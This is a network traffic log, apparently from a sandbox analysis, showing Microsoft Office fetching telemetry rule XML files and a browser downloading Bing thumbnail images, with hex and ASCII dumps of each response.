2024-11-23 18:52:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185219Z-178bfbc474bpscmfhC1NYCfc2c00000003dg00000000d6tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185220Z-178bfbc474bv7whqhC1NYC1fg400000004t000000000gesc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	346	OUT	GET /th?id=OADD2.10239360422982_1TJDRH7G9FF9FQQY2&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 18:52:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 837003 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EF0A1F420BDA425E83C2BA3D2461C707 Ref B: EWR30EDGE1422 Ref C: 2024-11-23T18:52:20Z Date: Sat, 23 Nov 2024 18:52:19 GMT Connection: close
2024-11-23 18:52:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 17 7e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 39 3a 30 30 3a 32 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``~ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 19:00:248
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 00 4c a2 ac ad 0d 2d ad bf e2 5f a7 c1 7b 6b 67 6b fb cf 36 59 bf 73 1f fd f5 5a 56 76 97 b0 e9 7f 68 d4 2c 61 96 f2 5f f9 65 17 fa e9 28 b7 b2 b9 b9 b2 fb 47 91 7b 15 c4 bf f2 cb 50 9b e7 ff 00 be 68 11 5a e2 5d 3a f2 6f 32 3f f4 fb 8f f9 65 75 14 3b fc ba 2c ed 2d 9e 69 6e 24 be f2 af 2e bf d5 7f 07 fe 83 55 a3 8b ed 3a 5f 99 27 d8 bf b3 ff 00 d6 4b e5 43 fe b3 fd 9f 2e a9 ff 00 a4 ea bf bc fe ca 9b 46 b3 8a 2f 2a 2b a8 a1 ff 00 48 ac fd f3 43 7a de de 4f b1 7d 9e e2 c7 ed 56 f2 fe ef f7 53 7f 07 fb d5 0c 71 59 5b 59 4b 71 fd 95 f6 5b 89 65 f2 a2 8a ee 6d f5 5b ec ff 00 66 bd b5 bc bc f1 1f 9b 6f 17 ee fc af b9 0e fa 9b ed ba 72 59 79 9a 87 fa 07 ef 7f e5 d2 f7 e4 b8 ad 00 bf 1e 95 1c df bc d5 20 86 5f 2b fd 57 d9 2a 86 9f 77 e1 47 fd de 9f a5 7f a4 7e Data Ascii: L-_{kgk6YsZVvh,a_e(G{PhZ]:o2?eu;,-in$.U:_'KC.F/+HCzO}VSqY[YKq[em[forYy _+WwG~
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: f1 1e 8a 9a 5c 52 49 a1 cd 6b a8 5f c5 fe aa 29 bc ef fb ef fd ba 86 f3 5b d5 6d a1 f2 f4 bd 2a 1d 2e 4f f9 65 75 ad cd f3 ff 00 df ba a7 e1 fd 43 4d d6 26 96 e3 fb 0f ca bc 97 fd 6c 56 9f f2 e9 ff 00 5d 5a 8d 42 df c1 fa 3f 9b 79 aa 41 7b aa 59 cb fe aa 59 7f e7 af fb b5 7e e4 67 cb ca 48 41 ae c8 9a 67 97 ae 6b 90 cb 79 2f ef 25 96 2f 9d 3f dd 8d aa cd e5 bf da 7c 33 fe 99 fd a9 fb df dd cb 2d a4 29 f6 cf fb ea a9 eb 16 51 dc e9 7e 5e a9 a1 fd ab 4f 96 54 fe cf fe c9 b2 f9 e0 ff 00 ae 8b bb ef 55 f9 35 2b 9d 12 f7 ed 11 f8 56 f7 ed 1e 57 ee ae ad 3f 7d ff 00 7f 97 fb d4 fe 1f 83 70 2b 59 e8 9a 0e a5 a5 c5 e6 68 77 b7 f1 d8 7f c7 af 9b f2 4d ba b6 34 bb 4b 9b 3b ed 42 e2 48 2c a2 b3 f2 bf d1 6d 7e ff 00 fd fc ff 00 6a 99 e1 7d 4f 5a bc d1 7f e2 61 07 da Data Ascii: \RIk_)[m*.OeuCM&lV]ZB?yA{YY~gHAgky/%/?\|3-)Q~^OTU5+VW?}p+YhwM4K;BH,m~j}OZa
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: b6 2d f4 3d 32 2d 62 ea 5f de cb a7 fc ff 00 ba fe 0f dd d1 cf cb ef 74 01 9e 6d cd 9c d1 59 e8 73 cd 15 e4 b1 79 91 7d ae 1f f4 68 ea b4 72 de bd 97 d9 f5 cf 11 d9 45 71 fe ae 29 62 ff 00 e2 1e ae 47 e2 0b dd 4b 53 fe cb ff 00 84 72 f6 28 fc a9 24 96 ea d2 64 48 64 6f ee fc d5 95 1b eb d7 fa 9c 37 12 58 e9 92 e9 7f f4 d6 1d 93 41 b7 ef 6f 6f fe 26 8e 70 99 43 54 f0 e6 ad fd 97 15 e6 a9 e2 ab 2d 7b 4f 8b fe 5c 25 9a 18 53 fe 03 f3 7d fa a7 fd 89 6d 61 0f fc 4b fc 2b 65 75 25 d7 ee fc a9 66 d9 34 6b fe cc 8b c5 5f d6 3c 2b a0 dc 4d fd a1 ab f8 57 c9 b3 8a 29 24 8b fe 5e 21 ff 00 ae 94 59 eb b6 da 94 df 67 f0 5e b9 aa 79 9f 24 97 56 b2 d9 79 30 c7 b5 3f db ae d8 4e 72 87 b9 f3 ec 62 53 d6 3c 2f e1 8d 37 4c 8b 4f bc 82 f7 cc ba ff 00 5b 2c bf dd ff 00 66 8a Data Ascii: -=2-b_tmYsy}hrEq)bGKSr($dHdo7XAoo&pCT-{O\%S}maK+eu%f4k_<+MW)$^!Yg^y$Vy0?NrbS</7LO[,f
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: af fa 89 6d e5 ba 8f ed 5e 6f dc d9 5c f8 e7 c9 42 65 f3 9e 8b fb 3b a7 8e 34 4f 13 ea 16 f2 58 fd 82 48 ad 7c b9 65 bb 86 bd 23 58 d6 f5 e7 d5 25 8e df fb 2e c3 ca 8a 49 22 ba 8b e7 fb 46 df fd 0d 2a cd c7 83 f4 5d 2b 4b ff 00 84 6e e3 fd 3e 3f 36 39 3e df 14 df be b4 7f fd 9f fb d5 cc 78 b3 c2 57 36 7e 1f fb 1e a1 7d 37 97 aa 4b 1f f6 7f d9 7e fc 7b 7f e7 a7 fd 33 af c5 b1 58 9c 36 33 15 cd a2 3d 6a 70 9c 60 74 ff 00 62 d3 b4 d8 6e a4 b8 be d4 ef ff 00 b5 3f 77 14 5f 71 3f df 8f fb bb 7b 56 c6 9f 65 e2 24 f1 07 f6 5c 7a ae 99 16 8f e5 7f aa 86 1f f4 89 22 fe f7 fd 75 6a e4 b4 bd 43 65 e7 f6 3d e5 8f f6 a5 bc 5f f2 f5 e7 7e e6 47 5a bb aa 7f c2 0f e1 fd 53 54 d4 2e 35 cb d8 a4 96 24 92 5d 2a 28 5f ed 13 ee fb b1 ef fe ed 79 33 a3 37 cd 1d db db a9 d0 5e Data Ascii: m^o\Be;4OXH\|e#X%.I"F]+Kn>?69>xW6~}7K~{3X63=jp`tbn?w_q?{Ve$\z"ujCe=_~GZST.5$](_y37^
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 00 ee 6d 8b fb e2 8b 8b 5d 3a 1d 6a 1b 7d 1f 43 fe cb bc ff 00 8f 99 6e ad 3e 4f b3 ff 00 df 7f 7a a8 68 fe 12 bd 4d 52 eb 5c d4 3c f8 ae 25 d9 24 b7 5f f1 f3 f3 7f d3 3a c5 ce 13 f8 a4 5f f8 4b 96 7a 05 c5 fe a9 6a 9a ff 00 88 ec b5 88 e2 fd e4 bf 6b 85 3f d5 6f fd da 7c bf 2a 56 96 a9 6f 64 f6 5f 68 f1 5e 95 fe 8f 14 bf 66 b0 b0 f0 ff 00 ef a1 f2 bf bd 25 57 d1 d7 4a d1 20 96 df 4b f0 ee b5 f6 39 3f 79 75 75 77 65 b1 2e 1b fb ad fd cf 6a 3c 19 aa de 5c fd ab fb 0f c1 f7 b6 b1 ff 00 cf 5f 3b fd 66 df f9 66 df dc ac 79 e7 cf e4 5d 31 34 bd 3f 4e d4 b5 4f ed 48 ff 00 b5 2c 34 fb 5f dd c5 61 2c 2e ff 00 6b fe 2f 9f fe 79 d5 fd 3e 1d 47 52 d6 a2 8e 3d 0e 6f 2f cd fd d6 ab e4 ec f2 d3 fb df 2f df ff 00 81 53 2c f4 fb 6f ec c8 ad fc fd 52 29 22 97 cc 96 5f 3b Data Ascii: m]:j}Cn>OzhMR\<%$_:_Kzjk?o\|*Vod_h^f%WJ K9?yuuwe.j<\_;ffy]14?NOH,4_a,.k/y>GR=o//S,oR)"_;
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 6f 9f fe d9 ec aa de 20 fe c1 b3 d2 e2 f0 9c 9e 75 d5 c7 95 1f fa d8 76 7f df 72 25 74 cf 93 d9 a8 91 c9 33 12 df 47 d6 7c 67 f6 af 33 43 d1 62 b7 8a 5f de df c5 36 f7 9d ff 00 dd e9 4f d5 2c 6e 7e d9 17 86 ee 34 a8 62 b3 b0 8b cc ba ba ff 00 53 6f 1f fb 95 71 2c ad 93 46 fb 05 e5 8d 95 8f 95 fb bb 5b 0d 2a f5 d3 cb dd fc 4d 27 f7 eb 37 c6 9e 37 d2 b4 7b 2f f8 43 f4 79 e6 d5 2c ed 62 f2 ee af e2 fb 90 4a df c1 2f f7 e8 83 ad 52 7f ba fb 3f d5 c2 7c 83 6f 2c 74 1f 09 43 2d e4 97 d3 5f c9 2f fa ab ad 3e cd 2e 3e 76 ff 00 3f 7a 8a b9 a7 f8 5f 51 d1 f4 5b 5b 3d 22 cb 4c ba 92 59 63 96 ea c2 d2 f5 d3 ef 7f 0d 15 a5 e9 c9 b6 dd fc c2 c6 37 da 34 ed 4a ca 2d 42 48 21 b5 f2 a5 fd ed af dc 9a 3f f7 2a e5 bd c4 96 de 55 c5 bc 10 cb 6f 17 fc ba cb fd fa 65 c2 5b 68 Data Ascii: o uvr%t3G\|g3Cb_6O,n~4bSoq,F[M'77{/Cy,bJ/R?\|o,tC-_/>.>v?z_Q[[="LYc74J-BH!?Uoe[h
2024-11-23 18:52:20 UTC	16067	IN	Data Raw: 04 58 49 fd 95 a3 5f c1 e5 27 da ac 3c 9d 97 de 6b 7d f6 8e 5a b3 e1 78 7c 56 ff 00 da 9a fd e7 85 ff 00 b3 24 97 f7 71 58 45 79 f3 cf fe d4 92 53 34 b8 35 e9 af 7f d2 e7 bd fe df f9 ed ad 6f f4 f8 7f e5 92 ff 00 cb 37 dd 4e b7 b2 d4 61 d3 3e d1 79 a5 f9 51 cb 2f 97 75 e5 7c ff 00 f6 d2 46 76 ac eb d7 87 27 24 61 1b f7 1f 21 47 48 7b 3b cf 35 2e 34 48 74 bb 7b 59 7f e5 ac 2f fb c6 fe f7 9b fd ed d5 66 f3 ec 49 7b 2c 56 f7 da d6 a9 e6 ff 00 aa b0 bb d3 13 f7 0f fc 5b 93 f8 eb 1b 50 f1 ad 95 9e b3 6b 61 a7 d8 cd f6 78 b7 f9 b2 f9 df 69 f2 3f bb e6 54 f7 1e 24 d4 6f d6 d5 2c ec b5 3b eb 39 22 79 3f b5 3f d7 26 cf f6 95 3f 8b fb b5 5e c6 ba f7 b9 6c 89 2c d9 a4 76 37 ba 7c 97 93 e9 96 bf 6a 96 48 fe cb 69 a6 79 2f fe db 6d fe 0d d5 d0 68 77 ba 0d 87 fa 64 70 Data Ascii: XI_'<k}Zx\|V$qXEyS45o7Na>yQ/u\|Fv'$a!GH{;5.4Ht{Y/fI{,V[Pkaxi?T$o,;9"y??&?^l,v7\|jHiy/mhwdp
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 0f 42 b8 87 5a 86 4d 52 7d 17 5e 8e d6 2f f4 0b 5d 3f 62 4d 71 ff 00 5d 99 2b 9b db 61 a1 47 92 94 fd e0 f7 fe d1 c7 de 78 6a f7 5e bd 9a e2 cf c3 96 57 fa a6 a9 fe b6 5b 4d 89 63 04 4b f7 5f c9 fe fd 6f 35 fc 7e 12 b1 b5 f0 84 9e 1d d4 f5 39 35 4f f8 fa 96 2f f8 f9 83 fd cf e3 e2 8d 1d f5 1d 4a ce ef cb ff 00 8a 4f fd 3f ca 97 45 8a 1f 39 ef e5 ff 00 7e ac 78 83 50 fe ca 82 d7 c1 9a 3e 89 37 f6 84 5f bc ba ba f3 b6 3c 72 ff 00 73 cd 6e 6b 59 57 94 bf 77 3e 86 9c 90 2b ea 0f 7b e0 0f 0f c5 ff 00 12 a8 75 4d 3f cd 93 f7 ba 84 db 35 18 df f8 7f 8a b2 7c 0f aa dc de 4d 75 6f e2 4f b6 da f9 b2 ff 00 a2 c5 e7 6f 7f fb ef fb b5 5f c2 fe 0e d2 b4 e9 bf b7 3e 25 f8 8f 4c b6 bc 93 fe 3d 74 bf 3b ce b8 9f 6f f7 ab bc b7 d5 7c 31 a2 79 52 5b f8 73 53 b5 d4 2e a5 fd Data Ascii: BZMR}^/]?bMq]+aGxj^W[McK_o5~95O/JO?E9~xP>7_<rsnkYWw>+{uM?5\|MuoOo_>%L=t;o\|1yR[sS.
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 6e 7c db cd 03 44 b3 d2 fc a8 bc bf b7 ea 17 be 4c d7 1f ee 7f 7d 7f f4 2a 9b 50 7d 67 ec 72 c7 ad f8 c3 c3 f6 1f bd ff 00 45 96 d2 cf f7 3f fd 9d 69 69 09 be 1f 33 50 d5 34 5d 7a e2 2f dd da da c5 64 fb e3 6f f7 eb 49 d6 54 61 70 38 fb 4d 0a e3 c2 b0 7f 68 5c 0d 6b 5e 92 fe 2f f8 98 5a cb 37 d9 2d 3c df ef 23 d5 eb 7f 05 5e f8 86 1f b6 68 fe 1c b2 d2 ff 00 7b e6 4b 14 d7 be 72 7f d7 44 4f ef 57 5b 67 71 e1 db 6d 4e 5b 8d 43 55 bd bf b8 8b cc f3 6d 65 87 ce b7 83 ff 00 89 6a cb f1 3f c5 7f 0e 7f ac b0 d2 e6 d7 6e 3f ea 1f 07 92 f6 09 fe d5 74 43 19 8a a9 ef 52 87 bd dc 39 21 f6 89 ac fe 1b db 58 43 f6 cf 12 4d 35 fd e7 9b e6 7d aa d2 6f 27 ed 0d ff 00 3c d9 12 a9 f8 ae 5d 56 ce f6 6b 7d 23 fb 33 cc ff 00 59 2f 9b 0b c3 f7 bf e7 95 4d 71 7f 73 79 63 f6 7f Data Ascii: n\|DL}*P}grE?ii3P4]z/doITap8Mh\k^/Z7-<#^h{KrDOW[gqmN[CUmej?n?tCR9!XCM5}o'<]Vk}#3Y/Mqsyc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49728	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	375	OUT	GET /th?id=OADD2.10239360422984_1O5I4N56JBATVHLO0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 18:52:20 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 944899 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CD9608D266014E578A1876BAA36FD1B3 Ref B: EWR30EDGE0407 Ref C: 2024-11-23T18:52:20Z Date: Sat, 23 Nov 2024 18:52:20 GMT Connection: close
2024-11-23 18:52:20 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 8c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 35 39 3a 35 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:59:538
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: ae d8 00 3f 58 7f f2 32 7f ef bb 13 53 d6 5a 5b 16 37 65 cc 30 f6 c6 e3 3a fb 9d 03 f9 af e5 26 9c 1c 60 cf 11 33 1f a5 13 f3 c3 fe fe 2b f8 ab 43 a7 67 55 a5 c2 0b c9 22 67 40 49 fe 4f b8 ff 00 2b fa 88 6e b5 8d 67 a9 63 80 6e 87 57 01 3e 5a ff 00 d0 59 d6 75 82 60 34 6e 7e ae 6b 78 6f 1e e7 39 ce dd ed fd f7 3d ff 00 a3 58 d7 65 db 73 fd 8f 27 c6 e8 d7 fe b3 fb 8c ff 00 84 fe 75 ff 00 f0 49 f8 b9 39 4b 59 7a 42 25 90 00 ff 00 ff d2 e6 ba 16 6d d8 79 1f b3 2c 33 ea 98 c3 b7 90 d7 38 c9 a9 b3 ee f4 b2 5d ff 00 6d e4 7f c6 d8 8b 9d d7 ee c7 25 94 da 1f 6f 76 8d 43 4f f2 ee db f9 bf ba c5 8f 6e 5d 99 16 0f 49 9b 4e a2 b7 18 75 90 7b 37 46 b5 9f d9 6a b5 8b d3 c5 3b 6c b3 57 8d 76 46 8d 8f ce b1 c7 ff 00 21 ff 00 6e 2a 33 c5 88 48 64 c9 11 2c 84 6b 1d e2 64 Data Ascii: ?X2SZ[7e0:&`3+CgU"g@IO+ngcnW>ZYu`4n~kxo9=Xes'uI9KYzB%my,38]m%ovCOn]INu{7Fj;lWvF!n*3Hd,kd
2024-11-23 18:52:20 UTC	4144	IN	Data Raw: c4 f9 f5 0b df 9e eb 51 fe d1 f2 53 e5 7f e1 4c fc bf ed 6e f9 6b 6f 67 ca ed 16 af df f5 d4 0c bd 63 fe 12 9b 8d 4b f7 de 5e a1 0a 27 fa 16 9d f6 c7 b7 b7 9e 25 7f 95 98 61 4a ff 00 bc 7e f5 37 58 be b0 d4 bc 59 6b 7b f6 9d 3a 1b bb 54 5f b5 4f 69 78 f0 cd 3a a7 de 4f de 2f c9 1a fd d3 fc 55 a9 37 f6 6d be 8b 25 bd c5 f6 95 ad 5d cc fb fe cb 1d c7 92 96 0a bf 77 f7 ce d9 74 1f 7c c5 4b a5 59 ea fa c7 97 6e f2 79 3a 3f 93 1d b7 f6 86 9b e5 3b dd ca df eb 36 22 ee 1b 76 ff 00 df 3e b5 a4 2a 46 3a ec 97 5d 89 97 62 96 95 27 8a b5 cb d8 2c 9f 57 8e f7 c3 29 07 ef ec 6d 23 47 f9 3e f7 d9 d6 4e ae c1 6a c6 8f e1 fb 09 35 6b 1d 4f ec d7 3a 2e a1 37 9a 9a 76 97 07 fa 4c 36 f1 6c d8 78 7c 1d cc bd 7d eb 61 75 27 d0 65 b5 d3 6d f4 3f 0e e9 3a 7a 3c a9 f6 24 b8 fb Data Ascii: QSLnkogcK^'%aJ~7XYk{:T_Oix:O/U7m%]wt\|KYny:?;6"v>*F:]b',W)m#G>Nj5kO:.7vL6lx\|}au'em?:z<$
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: d2 5e fc f6 9f f5 cd ff 00 87 db 22 b0 7e 20 69 37 37 9f 61 bd f3 64 d4 26 7d ae 9e 7c 9f f1 ef fb df 99 5b f9 73 4d b3 8f 58 6d 4a 0d 4e 28 ad e1 bb ba 4d 8f 06 9b 65 b2 69 11 bf 8b 67 f1 56 95 9e 9f a6 ea 1a 24 16 ff 00 da 57 b7 49 fd a3 13 df 4f 1f cf 34 91 2c bb 7e 55 5f bb ff 00 03 ad a7 c9 42 6a 70 d2 3d bb 13 28 ca 51 e5 91 9b f1 16 c6 f2 fa fb ec f6 f6 da 75 ad a4 28 a8 9e 45 c4 49 e5 a7 4d 9f 27 df f9 bf 1a ab e1 1d 06 fe ce 59 f4 fb 8b 9d 3a 1b 8b 5f bf 05 de ff 00 cd 26 c6 d5 af 7a d5 2d 7c 27 6b 1d d4 12 db 59 4d e7 48 a8 fa 74 16 fb e6 d8 df 2e e9 23 da cb bc fb 51 35 8d b6 9f a2 a5 94 b6 d2 69 96 97 b7 ab b2 0f b3 cb fb bb 7d bb 51 